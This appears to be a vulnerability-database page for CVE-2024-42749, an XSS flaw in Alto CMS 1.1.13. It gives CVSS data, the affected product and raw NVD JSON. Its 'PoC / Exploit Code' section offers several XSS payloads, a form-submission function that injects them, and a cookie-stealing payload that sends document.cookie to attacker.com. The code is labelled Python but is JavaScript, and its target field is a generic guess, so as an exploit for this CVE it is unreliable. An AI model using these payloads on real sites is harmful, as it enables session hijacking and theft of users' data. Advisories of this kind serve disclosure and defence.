Security Vulnerability Report
中文
CVE-2024-42749 CVSS 6.1 MEDIUM

CVE-2024-42749

Published: 2025-11-14 16:15:47
Last Modified: 2025-11-19 21:36:25

Description

Cross Site Scripting vulnerability in Alto CMS v.1.1.13 allows a local attacker to execute arbitrary code via a crafted script.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:altocms:alto_cms:1.1.13:*:*:*:*:*:*:* - VULNERABLE
Alto CMS < 1.1.13 (受影响版本)
Alto CMS = 1.1.13 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2024-42749 XSS PoC for Alto CMS v1.1.13 // This PoC demonstrates the XSS vulnerability in Alto CMS // Use for authorized security testing only // Basic XSS payload const basicPayload = '<script>alert("XSS")</script>'; // Image tag based XSS const imgPayload = '<img src=x onerror=alert(document.cookie)>'; // SVG based XSS const svgPayload = '<svg/onload=alert("CVE-2024-42749")>'; // Event handler based XSS const eventPayload = '<body onload=alert("XSS")>'; // Form submission PoC function exploitXSS(targetUrl, payload) { const formData = new FormData(); // Target input field - adjust selector based on target formData.append('comment_text', payload); formData.append('submit', 'Submit'); fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' }) .then(response => response.text()) .then(data => console.log('Payload submitted successfully')) .catch(error => console.error('Error:', error)); } // Cookie stealing payload const cookieStealPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Export for testing module.exports = { basicPayload, imgPayload, svgPayload, eventPayload, cookieStealPayload, exploitXSS };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-42749", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:47.263", "lastModified": "2025-11-19T21:36:24.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Alto CMS v.1.1.13 allows a local attacker to execute arbitrary code via a crafted script."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altocms:alto_cms:1.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7A122EED-71F4-47AD-A53B-D172E492323C"}]}]}], "references": [{"url": "https://github.com/altocms/altocms", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-42749.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}